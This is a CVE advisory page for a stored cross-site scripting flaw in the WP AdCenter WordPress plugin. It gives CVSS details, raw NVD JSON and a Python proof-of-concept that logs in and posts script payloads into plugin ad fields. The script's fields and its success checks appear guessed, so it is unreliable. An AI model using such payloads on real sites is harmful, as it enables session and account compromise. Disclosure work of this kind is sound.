Security Vulnerability Report
中文
CVE-2025-62984 CVSS 6.5 MEDIUM

CVE-2025-62984

Published: 2025-10-27 02:15:59
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPeka WP AdCenter wpadcenter allows Stored XSS.This issue affects WP AdCenter: from n/a through <= 2.6.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP AdCenter <= 2.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-62984 PoC - Stored XSS in WP AdCenter Plugin # Target: WordPress site with WP AdCenter plugin <= 2.6.1 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" # XSS payload - steals cookies XSS_PAYLOAD = '" onmouseover="alert(document.cookie)" x="' def login(): """Authenticate to WordPress""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' in str(session.cookies) or response.status_code == 200: print("[+] Login successful") return session else: print("[-] Login failed") return None def inject_xss(session): """Inject XSS payload into WP AdCenter ad fields""" # Find WP AdCenter admin page ad_center_url = f"{TARGET_URL}/wp-admin/admin.php?page=wpadcenter" # XSS injection in ad name/description field ad_data = { 'ad_name': XSS_PAYLOAD, 'ad_type': 'banner', 'ad_content': '<script>alert("XSS")</script>', 'submit': 'Save' } response = session.post(ad_center_url, data=ad_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] Visit affected page to trigger XSS") else: print("[-] Injection failed") def main(): session = login() if session: inject_xss(session) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62984", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:59.333", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPeka WP AdCenter wpadcenter allows Stored XSS.This issue affects WP AdCenter: from n/a through <= 2.6.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpadcenter/vulnerability/wordpress-wp-adcenter-plugin-2-6-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}